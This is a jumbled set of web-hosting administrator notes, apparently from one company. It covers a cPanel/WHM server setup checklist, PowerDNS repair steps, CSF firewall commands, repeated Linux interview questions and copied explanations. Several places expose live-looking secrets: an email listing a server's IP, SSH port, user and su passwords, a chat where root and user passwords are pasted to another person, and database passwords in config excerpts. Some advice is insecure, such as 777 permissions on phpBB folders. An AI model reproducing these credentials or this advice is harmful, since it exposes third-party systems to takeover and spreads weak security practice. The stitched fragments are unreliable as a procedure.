73,Nmc Building,Opposite Nmc Building, Main Road, Nashik, 422001? - 0253 2506932?

netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'New IP requirement 


Hello,

Please allocate an IP from our existing allocated range (see DECC user colo@minmaxgroup.com) to server east.nseasy.com. 


Server Details as follows:
Hostname: east.nseasy.com
IP : 66.7.221.70
Username : 3gteam
Password: e%b68.-?rMz#
Port no: 1097
Su password: G2@LV.mdWvD~

=========================

Regards,
Susannah

***************************************************************************
adding new IP to server 

/scripts/rebuildippoolNew Server Configuration
__________________________________________________________________________

Introduction

It's vital that the server is configured correctly

1 – Verify Server Specifications

1 - PowerAdmin DNS

Login to poweradmin  One and two  (Add Supermaster zone)

IP new server IP

Host name: ns1.site.com or 1.nseasy.com

Account : server name

2 – Add 'A' record for the server hostname.

Search Zone and Records  (e.g. site.com, nseasy.com, nsjet.com)

Edit and Add A record (IP of the new server)

3 - ???

Open another shell (different server) and type vi /etc/named.conf
Copy the line also-notify with IP address and semi colon

and New server : vi /etc/named.conf
Paste the also notify lines
 and save (:wq!)

4 – Add Wheel Group User

On the shell of the new server, type:

             useradd 3gteam
             passwd 3gteam (Enter the password for 3gteam)

Restart sshd, then:

             vi /etc/group
             wheel:x:10:root,3gteam

5 – Configure SSH Port & Preferences

             vi /etc/ssh/sshd_config

Remove # and enter port number 1097
Remove # and PermitRootlogin Yes Change to PermitRootlogin  No
In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out

6 - PowerAdmin DNS

Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions  , Check        /var/tmp permissions,  Check /usr/tmp permissions  Change all permissions as given in WHM on the shell

7 - ???

Check the php.ini file of the another server and compare it with the new server (Disable functions >> Just          remove exec from the shell and restart apache)

8 – Enable PHP SuExec

In WHM, type Suexec,  PHP and SuExec Configuration  >> php 5 hander >>Drop down (select dso) and save       changes 

9 - MySQL

Check in another server for mysql connection  > vi /etc/my.cnf   (the values should be same  on the new server)

10 - CSF

Go to http://configserver.net/   >> ConfigServer Mail Queues  >> Right click  >> wget       http://configserver.net/free/cmq.tgz
 Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >> 

Shell:
             tar -xzf cmq.tgz
             cd cmq/
             sh install.sh

Refresh WHM and you will see ConfigServer Mail Queues  at the left side bottom

Then open the link ConfigServer Mail Manage  from http://configserver.net/ and wget the link ( wget         http://configserver.net/free/cmq.tgz)

ConfigServer Mail Manage  >> install.txt >> Click

Shell:
             tar -xzf cmm.tgz
             cd cmm/
             sh install.sh

Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"

If http command is not there on the server, then on the another server, type which http.
You will get a path for http. Then go in that path by vi /bin/http and on the new server, go by cd /bin and vi http and copy the code from old server (vi /bin/http)

11 – Packages & Features

Open a Old server WHM and edit packages  >> and add package on a new server and enter the values as it is.

Then WHM >> Feature manager
Add Excite  >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be 


 12 - PowerAdmin DNS

Create a account as vanessatestjade.com (Example) from WHM >> Create account >> Package Excite

13 – Quotas

Then run the command /scripts/fixquotas on the server

14 - PowerAdmin DNS

Check the entries of the new added domain, In the PowerDNS 1 and 2

15 – WHM Configuration

Statistics Software Configuration

Enable Analog, Awstats & Webalizer

Tweak Settings

When adding a new domain, automatically create A entries for the registered nameservers if they would be contained in the zone. >> Unselect   

The load average that will cause the server status to appear red = 10


Apache mod_userdir Tweak



16 - PowerAdmin DNS

Correct the following block in httpd.conf according to the server:  

             vi /etc/httpd/conf/httpd.conf

Just above the second block (pid) place the following

             NameVirtualHost 67.23.226.77:80  (New server IP)

             <VirtualHost 67.23.226.77>    (New Server IP)
             ServerName ice.site.com  (New Server Name)
             DocumentRoot /usr/local/apache/htdocs
             </VirtualHost>


17 – RV Site Builder

a) To install Rv site builder on the cpanel server follow the following steps:

 cd /usr/local/cpanel/whostmgr/docroot/cgi/
rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/
rm -f rvsitebuilderinstaller.tar
wget http://download.rvglobalsoft.com/rvsitebuilderinstaller.tar
tar -xvf rvsitebuilderinstaller.tar
chmod 755 addon_rvsitebuilder.cgi
rm -f rvsitebuilderinstaller.tar

b) Open root WHM, at the bottom of menu on the left side where is under Plugins section, you will find RVSiteBuilder Manager menu.

c)  Click RVSiteBuilder Manager to begin installation process. Which may take 10 to 20 minutes to complete.

d)  Done!! Your cPanel should show RVSiteBuilder as a feature in all cPanel users. 
 

18 - Fantastico

To Install Fantastico kindly follow the following steps on the server. 

1) cd /usr/local/cpanel/whostmgr/docroot/cgi
Now you will need to download fantastico from netenberg.
2) wget http://www.netenberg.com/files/free/fantastico_whm_admin.tgz
Now extract the file.
3) tar -xzpf fantastico_whm_admin.tgz
Remove fantastico_whm_admin.tgz once it is extracted.
4) rm -rf fantastico_whm_admin.tgz
Now go to WHM, login as root and follow the link WHM >> Add-Ons >>  Fantastico De Luxe WHM Admin (one of the lasts entries depending on your setup). There you complete the installation by following the online screens. Once done you are ready to use fantastico.
NOTE: Fantastico is a system designed to make installing popular scripts easy. Fantastico is a program that integrates with the popular online control panel Cpanel


19 – MinMax Monitoring

Login to shell of Prime server (if the new server configured is of site), prime port is 22 and root as user

             /scripts/whoowns network-command.com
             cd public_html/status03 (if adding in 3rd page )
             vi config.php
           
Add the new server in the server list

cd /usr/local/apache/htdocs
 Search for the file serverstats_inc.php

If not there, copy from any other server
cat   serverstats_inc.php
Copy and paste on the new server
    
Restart apache

20 – Panopta

20 – DC Monitoring

21 – Nagios

22 – Shared SSL Provision and Installation

Change password on the shell with passwd
Put any password 
Save
Save in the Database
In the data base Edit (Add Entry)  Title (Server name)  Username : IP  Password : New one

23 – Add to Billing System

24 – Shared SSL Provision and Installation

25 -  Disable Customer Contact

Login to WHM and go to “Configure Customer Contact” 
Select the radio button “Disable”
Click on “Save Changes”

26 - Remove Supprot from Feature manager

Login to WHM and go to “Feature Manager”
Select “default” from drop box and click on edit 
Search “Support” in the list and uncheck it.

 27 - Run AXON script

Login to shell and run the following command on root 

#wget repo1.dimenoc.com/dimenoc/DimeNOC.repo -O /etc/yum.repos.d/DimeNOC.repo && yum -y install axond

28- Configure backup

29 - Install kernel script

Login to shell of any server and new server 
Type bellow commands on  both the servers
       # cd /home/3gteam
       # vi /kscript
Above command will open the new file named as kscript on new server.
Just copy the contents of the kscripts file from old server and paste. Save the file and quit.


Notes:


1. what is ddos attack and how to prevent?

2. What is file system?

3. What is IP spoofing?

4. Port Numbers.

5. How to work FTP and what is use of port 20 and 21?

6. What is kernerl?

7. How many tables in iptables?

8. What are shell variables? 

9. What is 'inode'? 

10. What are the main differences between RHEL4 & RHEL5? 

11. What is difference between imap and pop?

12. Describe linux boot sequence:

13. What different between port and protocols?

14. What is the difference between UDP and TCP internet protocols?

15. What is a zombie process?

16. What is difference between daemon and process?

17. Logs location.

18. difference between unix and linux?

19. What are the main differences between RHEL4 & RHEL5? 

20. What are seven fields in the /etc/passwd file?

21. What is a filesystem?

22. What command is used to remove the password assigned to a group? 

23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?

24. Which file defines all users on your system? 

25. What is the minimum number of partitions you need to install Linux? 

26. What is a PID?

27. Difference between Hard Link and Soft Link in Linux?

28. What is Raid? The different types and Levels of Raid?

29. What is NFS? What is its purpose?

30. What does nslookup do?

31. What is .htaccess?

32. How many field in crontab?

33. Which log contains information on currently logged in users?

34. What is DNS?

35. How do you create a swapfile?

36. How to get the mysqlbackup and restore?

37. Where is located hardware configuration file in linux?

38. Whats the advantage of using ssh over telnet?

39. How to assign temporary IP address to lan-card?

40. How to recover grub on linux server?

41. How to setup log rotation on linux server?

42. How to see only sub-directory in directory?

43. How to see only files in directory?

44. How to replace the word without opening the file?




Fsck

Generally, fsck is run automatically at boot time when the operating system detects that a file system is in an inconsistent state, indicating a non-graceful shutdown, such as a crash or power loss. As the command must be tailored specifically to the design of the file system, the exact behavior of various fsck implementations will vary. Typically, fsck utilities provide options for either interactively repairing damaged file systems (the user must decide how to fix specific problems), automatically deciding how to fix specific problems (so the user doesn't have to answer any questions), or reviewing the problems that need to be resolved on a file system without actually fixing them.
A system administrator can also run fsck manually if there is believed to be a problem with the file system. Because running fsck to repair a file system which is mounted for read/write operations can potentially cause severe data corruption/loss, the file system is normally checked while unmounted, mounted read-only, or with the system in a special maintenance mode that limits the risk of such damage.
A journaling file system is designed such that tools such as fsck do not need to be run after unclean shutdown (i.e. crash). The UFS2Filesystem in FreeBSD has background fsck, so it is usually not necessary to wait for fsck to finish before accessing the disk.
The Microsoft equivalent programs are CHKDSK and SCANDISK.




11. What is difference between imap and pop?


POP3
IMAP
Since email needs to be downloaded into desktop PC before being displayed, you may have the following problems for POP3 access:
* You need to download all email again when using another desktop PC to check your email.
* May get confused if you need to check email both in the office and at home.
The downloaded email may be deleted from the server depending on the setting of your email client.
Since email is kept on server, it would gain the following benefits for IMAP access:
* No need to download all email when using other desktop PC to check your email.
* Easier to identify the unread email.
All messages as well as their attachments will be downloaded into desktop PC during the 'check new email' process.
A whole message will be downloaded only when it is opened for display from its content.
Mailboxes can only be created on desktop PC. There is only one mailbox (INBOX) exists on the server.
Multiple mailboxes can be created on the desktop PC as well as on the server.
Filters can transfer incoming/outgoing messages only to local mailboxes.
Filters can transfer incoming/outgoing messages to other mailboxes no matter where the mailboxes locate (on the server or the PC).
Outgoing email is stored only locally on the desktop PC.
Outgoing email can be filtered to a mailbox on server for accessibility from other machine.
Messages are deleted on the desktop PC. Comparatively, it is inconvenient to clean up your mailbox on the server.
Messages can be deleted directly on the server to make it more convenient to clean up your mailbox on the server.
Messages may be reloaded onto desktop PC several times due to the corruption of system files.
The occurrence of reloading messages from the server to PC is much less when compared to POP3.




13. What different between port and protocols?


A protocol is an agreement on how to interpret data and how to respond to messages. They generally specify message formats and legal messages. Examples of protocols include:
* TCP/IP
* HTTP
* SSH
A port is part of socket end point in TCP and UDP. They allow the operating system to distinguish which TCP or UDP service on the host should receive incoming messages.
The confusion generally arises because, a number of ports are reserved (eg. port 80) and are generally listened to by severs expecting a particular protocol (HTTP in the case of port 80). While messages send to port 80 are generally expected to be HTTP messages, there is nothing stopping an non-HTTP server from listening on port 80 or an HTTP server from listening on an alternative port (for example 8080 or 8088).



14. What is the difference between UDP and TCP internet protocols?

Difference between TCP and UDP
TCP
UDP
Reliability: TCP is connection-oriented protocol. When a file or message send it will get delivered unless connections fails. If connection lost, the server will request the lost part. There is no corruption while transferring a message.
Reliability: UDP is connectionless protocol. When you a send a data or message, you don't know if it'll get there, it could get lost on the way. There may be corruption while transferring a message.
Ordered: If you send two messages along a connection, one after the other, you know the first message will get there first. You don't have to worry about data arriving in the wrong order.
Ordered: If you send two messages out, you don't know what order they'll arrive in i.e. no ordered
Heavyweight: - when the low level parts of the TCP "stream" arrive in the wrong order, resend requests have to be sent, and all the out of sequence parts have to be put back together, so requires a bit of work to piece together.
Lightweight: No ordering of messages, no tracking connections, etc. It's just fire and forget! This means it's a lot quicker, and the network card / OS have to do very little work to translate the data back from the packets.
Streaming: Data is read as a "stream," with nothing distinguishing where one packet ends and another begins. There may be multiple packets per read call.
Datagrams: Packets are sent individually and are guaranteed to be whole if they arrive. One packet per one read call.
Examples: World Wide Web (Apache TCP port 80), e-mail (SMTP TCP port 25 Postfix MTA), File Transfer Protocol (FTP port 21) and Secure Shell (OpenSSH port 22) etc.
Examples: Domain Name System (DNS UDP port 53), streaming media applications such as IPTV or movies, Voice over IP (VoIP), Trivial File Transfer Protocol (TFTP) and online multiplayer games etc




On Unix and Unix-like computer operating systems, a zombie process or defunct process is a process that has completed execution but still has an entry in the process table. This entry is still needed to allow the process that started the (now zombie) process to read its exit status. The term zombie process derives from the common definition of zombie—an undead person. In the term's metaphor, the child process has "died" but has not yet been "reaped". Also, unlike normal processes, the kill command has no effect on a zombie process.
When a process ends, all of the memory and resources associated with it are deallocated so they can be used by other processes. However, the process's entry in the process table remains. The parent can read the child's exit status by executing the wait system call, at which stage the zombie is removed. The wait call may be executed in sequential code, but it is commonly executed in a handler for the SIGCHLDsignal, which the parent receives whenever a child has died.
After the zombie is removed, its process ID and entry in the process table can then be reused. However, if a parent fails to call wait, the zombie will be left in the process table. In some situations this may be desirable, for example if the parent creates another child process it ensures that it will not be allocated the same process ID. On modern UNIX-like systems (that comply with SUSv3 specification in this respect), the following special case applies: if the parent explicitly ignores SIGCHLD by setting its handler to SIG_IGN (rather than simply ignoring the signal by default) or has the SA_NOCLDWAIT flag set, all child exit status information will be discarded and no zombie processes will be left.
A zombie process is not the same as an orphan process. An orphan process is a process that is still executing, but whose parent has died. They do not become zombie processes; instead, they are adopted by init (process ID 1), which waits on its children.
Zombies can be identified in the output from the Unix ps command by the presence of a “Z” in the “STAT” column. Zombies that exist for more than a short period of time typically indicate a bug in the parent program, or just an uncommon decision to reap children (see example). If the parent program is no longer running, zombie processes typically indicate a bug in the operating system. As with other leaks, the presence of a few zombies is not worrisome in itself, but may indicate a problem that would grow serious under heavier loads. Since there is no memory allocated to zombie processes except for the process table entry itself, the primary concern with many zombies is not running out of memory, but rather running out of process ID numbers.
To remove zombies from a system, the SIGCHLD signal can be sent to the parent manually, using the kill command. If the parent process still refuses to reap the zombie, the next step would be to remove the parent process. When a process loses its parent, init becomes its new parent. Init periodically executes the wait system call to reap any zombies with init as parent.







What is the difference between a daemon and a server process?
by NIXCRAFT on NOVEMBER 15, 2005 · 2 COMMENTS
Asked by Pari Kulkarni
Q.What is the difference between a daemon and a server process?
A. A 'daemon' is a software process that runs in the background (continuously) and provides the service to client upon request. For example named is a daemon. When requested it will provide DNS service. Other examples are:
* xinetd (it is a super-daemon, it is responsible for invoking other Internet servers when they are needed)
* inetd (same as xinetd, but with limited configuration options)
* sendmail/postfix (to send/route email)
* Apache/httpd (web server)
Following simple example illustrate relationship between client and daemon.
CLIENT  -> Daemon
Browser Running one daemon for each of the services could significantly increase the load. However if you are running big site (with many user) it is advisable to use dedicated daemon. For example web server or MySQL database server.
A 'server process' run runs one time, when called by a daemon. Once done it will stop. For example telnetd (in.telnetd) or ftpd called from xinetd/inetd daemon . By calling server process from daemon you can save the load and memory. Use a server process for small services such as ftpd, telnetd
CLIENT -> Daemon   -> Calls server process
ftp    -> xinetd   -> Calls ftpd
ftp     xinetd stops ftpd
quit

Check if the server ip is open relay 

http://www.checkor.com/

Also check at

http://www.spamhelp.org/shopenrelay/

============================================================================

What is an open relay?

An open relay (sometimes also referred to as a third-party relay) is a mail server that does not verify that it is authorised to send mail from the email address that a user is trying to send from. Therefore, users would be able to send email originating from any third-party email address that they want.

============================================================================
Why is an open relay bad?

Spammers are constantly on the lookout for open relay SMTP (Simple Mail Transfer Protocol) servers. They use the open relays to send unsolicited mail to a large number of email addresses, which has an impact on delivery speed, bandwidth, disk storage space, CPU processing and more.

A number of organisations are cracking down on spam originating from open relay servers by forming blacklists. Several anti-spam solutions check if the mailserver is in one of these blacklists before allowing incoming mail from it. If your mail server gets listed on one of these blacklists, a lot of the emails that you would be sending would not be reaching their destination.


============================================================================
What software blocks spam from open relays?

If your open relay is found by a blacklist organisation (usually if someone reports spam coming from your mail server), it would be blacklisted. There are loads of solutions (services, software and appliances/hardware) that block mail from mailservers listed in these blacklists. Many of these are implemented at a server level (eg by ISPs, company mail servers etc) even though not all client-based solutions have this feature.

If you are interested in finding software to block spam, you can browse our software section or alternatively take a look at our customizable server-based anti-spam software feature comparison; you can check out the ones listed which have public blacklist support here or else tweak the settings yourself here.

Also, you might be interested in taking a look at our services section (eg managed anti-spam solutions) or our appliances section (machines built specifically to stop spam).

============================================================================
How do I close my open relay?

If you are a system administrator interested in closing down your open relay (if you have an open relay, then you should!), you can check out the great list maintained by MAPS at http://www.mail-abuse.com/an_sec3rdparty.html.

Where can I get more technical info on the Simple Mail Transfer Protocol (SMTP)?
You may read the original Request For Comments (RFC 821) by Jonathan B. Postel, August 1982 and the improved version (RFC 2821) by The Internet Society, April 2001. The latter also makes RFC 974 and RFC 1869 obsolete.
============================================================================

To  close the open relay run the follwing script from the server :

/scripts/fixrelayd
/etc/rc.d/init.d/antirelayd restart
service exim restart

============================================================================
The old way (open relay server test)

Telnet to mail.myserver.com at port 25 and issue all the following commands:
helo client.server.com
mail from: rockyjr@vsnl.com
rcpt to: vivek@nixcraft.in

telnet mail.myserver.com 25


Output:

Trying 202.51.x.xxx...
Connected to mail.myserver.com.
Escape character is '^]'.
220 mail.myserver.com ESMTP Postfix
helo client.server.com
250 mail.myserver.com
mail from: rockyjr@vsnl.com
250 Ok
rcpt to: vivek@nixcraft.in
554 : Relay access deniedsetting up default ownership for the folders

mkdir foldername  
chgrp admin folder 
ls -ld folder name 
chmod 2070 folder namecsf -a 75.127.97.47
csf -a 208.82.98.73
csf -a 72.9.150.176
csf -a 63.247.193.26
csf -a 66.220.1.132
csf -a 38.106.100.202
csf -a 208.89.214.175
csf -a 67.220.203.15
csf -a 204.74.219.115
csf -a 68.234.15.44
csf -a 207.192.69.191
csf -a 206.251.36.33
csf -a 65.23.158.149
csf -a 209.40.199.237
csf -a 63.223.106.171

csf -a 75.127.97.47
csf -a 208.82.98.73
csf -a 72.9.150.176
csf -a 63.247.193.26
csf -a 66.220.1.132
csf -a 38.106.100.202
csf -a 208.89.214.175
csf -a 67.220.203.15
csf -a 204.74.219.115
csf -a 208.82.98.73
csf -a 66.220.1.132
csf -a 207.192.69.191
csf -a 79.170.90.177
csf -a 212.91.242.137
csf -a 85.234.142.27
csf -a 213.92.118.220
csf -a 95.129.50.5
csf -a 92.243.0.140
csf -a 83.233.30.207
csf -a 59.188.9.237
csf -a 203.211.132.49
csf -a 202.130.33.202
PRATITION SECURITY 

    * nosuid - Do not set SUID/SGID access on this partition
    * nodev - Do not character or special devices on this partition
    * noexec - Do not set execution of any binaries on this partition
    * ro - Mount file system as readonly
    * quota - Enable disk quota

Please note that above options can be set only, if you have a separate partition. Make sure you create a partition as above with special option set on each partition:

    * /home - Set option nosuid, and nodev with diskquota option
    * /usr - Set option nodev
    * /tmp - Set option nodev, nosuid, noexec option must be enabled

For example entry in /etc/fstabe for /home should read as follows:


mount -o remount /tmp

mount -a

mount 

pkill -9 perl
[5:18:28 AM] techsupportco5: How to REJECT the IP in router 

# route add -host IP reject

To confirm the null routing status, use ip command as follows:

# ip route get IP

How do I remove null routing? How do I remove blocked IP address?

Simple use router delete command,

# ip route delete 65.21.34.4

#rount -n
[5:18:53 AM] techsupportco5: >>>>>>>>>>>>>>>>>>>>SCREEN COMMAND>>>>>>>>>>>>>>>>>>


# Start Screen: screen -S RV

# Detatch Screen: Ctrl-a d

# Re-attach Screen: screen -x or screen -x PID  OR  screen -r <session name> 

#screen -ls

There is a screen on:
        6329.RV (Detached)
1 Socket in /var/run/screen/S-root.

#Remove Screen  :- screen -a  OR exit

############################################
THE (DOT) FILES

>>The good old dot files. Let’s clear up some confusion here by defining each.

.bash_login

>>>>Treated by bash like .bash_profileif that doesn’t exist.

.bash_logout

>>>Sourced by bash login shells at exit.

.bash_profile

>>>Sourced by bash login shells after /etc/profile

.bash_history

>>>>The list of commands executed previously.

.profile

>>>>Treated by bash like ~/.bash_profile if that and .bash_login don’t exist.

.vimrc

>>>>Default “Vim” configuration file.

.emacs

Read by emacs at startup
PDNS installation :

http://jamesreubenknowles.com/install-powerdns-266

PDNS faq:

http://wiki.powerdns.com/trac/wiki/PowerDNSFaq

If pdns is down and showing the following error : 

Jan  8 21:27:51 second pdns[16879]: Not authoritative for 'qboost.com', sending servfail to 110.248.223.100 (recursion was desired)
Jan  8 21:27:51 second pdns[16879]: Not authoritative for 'qboost.com', sending servfail to 110.248.223.100 (recursion was desired)
Jan  8 21:28:02 second pdns[16879]: Not authoritative for 'bankaustria.org', sending servfail to 61.220.4.103
Jan  8 21:28:27 second pdns[16879]: Not authoritative for 'fluxy.net', sending servfail to 194.106.174.234 (recursion was desired)
Jan  8 21:28:32 second pdns[16879]: Not authoritative for 'mail.bizturn.com', sending servfail to 124.105.63.200 (recursion was desired)
Jan  8 21:28:42 second pdns[16879]: Not authoritative for 'clubbinnyc.com', sending servfail to 207.68.176.76
Jan  8 22:00:24 second pdns[18819]: Not authoritative for 'beammarineoptics.com', sending servfail to 123.22.125.21 (recursion was desired)

also no responding to dig :

dig @67.19.91.74 vicks.com

Try the following solution :


vi etc/pdns/pdns.conf
(Conf file of pdns)

(Check for the database password)

launch=gmysql
gmysql-host=127.0.0.1
gmysql-user=power_admin
gmysql-password=WASQYD34
gmysql-dbname=powerdns

(Login to mysql )

mysql -u power_admin -p 
pass : WASQYD34
use powerdns;

(Repair the tables)

mysql> repair table records;
+------------------+--------+----------+----------+
| Table            | Op     | Msg_type | Msg_text |
+------------------+--------+----------+----------+
| powerdns.records | repair | status   | OK       |
+------------------+--------+----------+----------+
1 row in set (14.73 sec)

Restart mysql

check the logs now and also the dig 


==============
one.nseasy.com:

launch=gmysql
gmysql-host=127.0.0.1
gmysql-user=power_admin
gmysql-password=d4fS4563fSJ43cAx44fWsh78
gmysql-dbname=powerdns

***********************************************************************


dig result can be as  :


; <<>> DiG 9.3.4-P1 <<>> @67.18.248.82 ghostso.com
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33707
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;ghostso.com.                    IN      A

;; ANSWER SECTION:
ghostso.com.             14400   IN      A       66.7.221.164

;; Query time: 3 msec
;; SERVER: 67.18.248.82#53(67.18.248.82)
;; WHEN: Sat Mar  6 01:14:57 2010
;; MSG SIZE  rcvd: 44
[9/4/2010 12:53:33 PM] Sanjin: hi
[9/4/2010 12:53:49 PM] techsupportco7: Can you please help me with one thing  ?
[9/4/2010 12:53:56 PM] Sanjin: what's up?
[9/4/2010 12:54:34 PM] techsupportco7: On jade.site.com, I am seeing lots of perl proccess are running  with nobody
[9/4/2010 12:54:54 PM] techsupportco7: I can pass you the top command output here
[9/4/2010 12:54:55 PM] Sanjin: what're the login credentials? i'll take a look for you
[9/4/2010 12:55:06 PM] techsupportco7: 1 sec
[9/4/2010 12:55:26 PM] techsupportco7: root | KC*hc9%9lrbZ
[9/4/2010 12:55:34 PM] techsupportco7: port : 1097
[9/4/2010 12:55:45 PM] Sanjin: no 3gteam on this one?
[9/4/2010 12:55:54 PM] techsupportco7: yes, its there
[9/4/2010 12:55:57 PM] techsupportco7: sorrry
[9/4/2010 12:56:07 PM] Sanjin: what's the 3gteam password?
[9/4/2010 12:56:16 PM] techsupportco7: 3gteam Password  : e%b68.-?rMz#
[9/4/2010 12:59:09 PM] Sanjin: fixed
[9/4/2010 12:59:14 PM] Sanjin: i secured /tmp for you and killed the processes
[9/4/2010 12:59:45 PM] techsupportco7: Thank you , Yes can see now load is deacreasing
[9/4/2010 12:59:50 PM] Sanjin: :)
[9/4/2010 1:00:00 PM] techsupportco7: may know how you did that ?
[9/4/2010 1:00:20 PM] Sanjin: edit /etc/fstab to include defaults,nosuid,noexec,rw for /tmp & /dev/shm rather than just "defaults"
[9/4/2010 1:00:31 PM] Sanjin: and then pkill -9 -u nobody to kill all the nobody processesTo check php info fro the shell 


php -r 'phpinfo();' | less
phpBB blank page :

Its shows blank page after installation on phpbb


just set  777 permissions for  

config.php,  images/avatars/upload ,        cache ,     files/ and store/ 


Aslo edit the config.php file and check mysql type, if its set with mysqli :

change it from 

$dbms            = 'mysqli'      ;

to

$dbms            = 'mysql'      ;



Php mail list error : 500 Internel server error :

That's not quite right. 

I fear that free hosts, geocities and such like, do not allow htaccess files, but others do and yet you can still suffer from the dreaded 500 error. 

This can be traced to the fact that these hosts allow htaccess files, BUT they do not allow php_flag statements within them. 

To get around this issue, you need to take the php_flag line out, resave the htaccess file, then add to or create a fresh php.ini file with the php_flag statement in it, BUT without the php_flag prefix. 

Save this php.ini file into the root folder of your phplist installation.



Solution 


1.  go to php list directory and edit the .htaccesss file 

remove the line : 

php_flag magic_quotes_gpc on

and save the file.

2. copy the php.ini file and put it in the phplist directory and enable php_flag magic_quotes_gpc on

and check phplist admin area

DDos atack on pluto

netstat -an | grep SYN
pico /etc/csf/csf.deny
service csf restart
server httpd startPort open tester

http://www.yougetsignal.com/tools/open-ports/How can we prevent or defend ourselves from these attacks?

Like said, Prevention is better than cure. Its very much true in the case of DDOS . DDOS happens because of vulnerable softwares/applications running on a machines in a particular network. Attackers use those security holes to compromise the servers in different network and install the DDOS tools (eg trinoo -DDOS tool )


:::::::::: To prevent DDOS in future, follow the below steps which has 12 major steps ::::::::::::::::::::::::::::::

Setup machine / network keeping security in mind (Implement Good Security policy)

Setup a firewall which does Ingress and Egress Filtering at Gateway

Eg: Steps to Install AFP 

---- 

bash# wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz 

bash# tar -zxf apf-current.tar.gz 

bash# cd apf-<version number> 

bash# ./install.sh 

Notes: Go through the Document in the Apf and configure it for your needs. All configuration is set at conf.apf which is normally located at /etc/apf/conf.apf 

Enable Anit-DOS mode in Apf (ie in conf.apf) . Also make sure that your root's cron has an entry like the one below 

*/8 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1 

----- 

Install IDS on your gateway/hosts to alert you when someone tries to sniff In.

Eg: AIDE 

---------- 

(a) Wget ftp://ftp.cs.tut.fi/pub/src/gnu/aide-0.7.tar.gz 

(b) Untar it 

tar -zxvf aide-0.7.tar.gz 

(c) cd aide-0.7 

(d) Then execute 

./configure -with-gnu-regexp 

(e) Final steps to install make;make install 

(f) Now the main step..To configure AIDE.AIDE stores all its rule sets in the file called aide.conf. Lets populate it get more details of how to configure and all from man aide.conf 

(g) Here I am taking an example .See below 



Here is a sample short aide.conf: 

Rule = p+i+u+g+n+s+md5 

/etc p+i+u+g 

/sbin Rule 

/usr/local/apache/conf Rule 

/var Rule 

!/var/spool/.* 

!/var/log/.* 

In the above configuration listed , a rule called "Rule" is set to check permissions (p), inode (i), user (u), group (g), number of links (n), size (s), and md5 checksum (md5). This rules are applied to all files in /bin, /sbin, /var, and /usr/local/apache/conf because they should rarely if ever change. Files in /etc are checked for changes in only permissions, inode, user, and group because their size may change, but other things shouldn't. Files and directories in /var/spool and /var/log are not checked because those are folders where maximum updation takes place. 

(h) After configuring AIDE should be initiated with all these rules. 

For that execute aide -init 

----------
Products price showing as 0 

go to  >>

cd  osc/includes/languages

pico english.php

and set  define('LANGUAGE_CURRENCY', 'INR');  to the currency whatever you want to set.

http://forums.oscommerce.com/topic/352336-products-price-showing-as-0/

******************************************************************************************

http://www.oscmax.com/forums/oscommerce-2-2-modification-help/6056-product-price-showing-0-a.html

This is a discussion on Product price showing as 0 within the osCommerce 2.2 Modification Help forums, part of the osCommerce 2.2 Forums category; Hi, I am getting Product Price as Zero. I have setup the Euro currency. What is the problem could be?...


login into admin area : http://site name/osc/admin/login.php


In Admin>Configuration>My Store

Switch To Default Language Currency = true 

That will display prices in GBP or whatever... It's easy no?1. what is ddos attack and how to prevent?

2. What is file system?

3. What is IP spoofing?

4. Port Numbers.

5. How to work FTP and what is use of port 20 and 21?

6. What is kernerl?

7. How many tables in iptables?

8. What are shell variables? 

9. What is 'inode'? 

10. What are the main differences between RHEL4 & RHEL5? 

11. What is difference between imap and pop?

12. Describe linux boot sequence:

13. What different between port and protocols?

14. What is the difference between UDP and TCP internet protocols?

15. What is a zombie process?

16. What is difference between daemon and process?

17. Logs location.

18. difference between unix and linux?

19. What are the main differences between RHEL4 & RHEL5? 

20. What are seven fields in the /etc/passwd file?

21. What is a filesystem?

22. What command is used to remove the password assigned to a group? 

23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?

24. Which file defines all users on your system? 

25. What is the minimum number of partitions you need to install Linux? 

26. What is a PID?

27. Difference between Hard Link and Soft Link in Linux?

28. What is Raid? The different types and Levels of Raid?

29. What is NFS? What is its purpose?

30. What does nslookup do?

31. What is .htaccess?

32. How many field in crontab?

33. Which log contains information on currently logged in users?

34. What is DNS?

35. How do you create a swapfile?

36. How to get the mysqlbackup and restore?

37. Where is located hardware configuration file in linux?

38. Whats the advantage of using ssh over telnet?

39. How to assign temporary IP address to lan-card?

40. How to recover grub on linux server?

41. How to setup log rotation on linux server?

42. How to see only sub-directory in directory?

43. How to see only files in directory?

44. How to replace the word without opening the file?1. what is ddos attack and how to prevent?

2. What is file system?

3. What is IP spoofing?

4. Port Numbers.

5. How to work FTP and what is use of port 20 and 21?

6. What is kernerl?

7. How many tables in iptables?

8. What are shell variables? 

9. What is 'inode'? 

10. What are the main differences between RHEL4 & RHEL5? 

11. What is difference between imap and pop?

12. Describe linux boot sequence:

13. What different between port and protocols?

14. What is the difference between UDP and TCP internet protocols?

15. What is a zombie process?

16. What is difference between daemon and process?

17. Logs location.

18. difference between unix and linux?

19. What are the main differences between RHEL4 & RHEL5? 

20. What are seven fields in the /etc/passwd file?

21. What is a filesystem?

22. What command is used to remove the password assigned to a group? 

23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?

24. Which file defines all users on your system? 

25. What is the minimum number of partitions you need to install Linux? 

26. What is a PID?

27. Difference between Hard Link and Soft Link in Linux?

28. What is Raid? The different types and Levels of Raid?

29. What is NFS? What is its purpose?

30. What does nslookup do?

31. What is .htaccess?

32. How many field in crontab?

33. Which log contains information on currently logged in users?

34. What is DNS?

35. How do you create a swapfile?

36. How to get the mysqlbackup and restore?

37. Where is located hardware configuration file in linux?

38. Whats the advantage of using ssh over telnet?

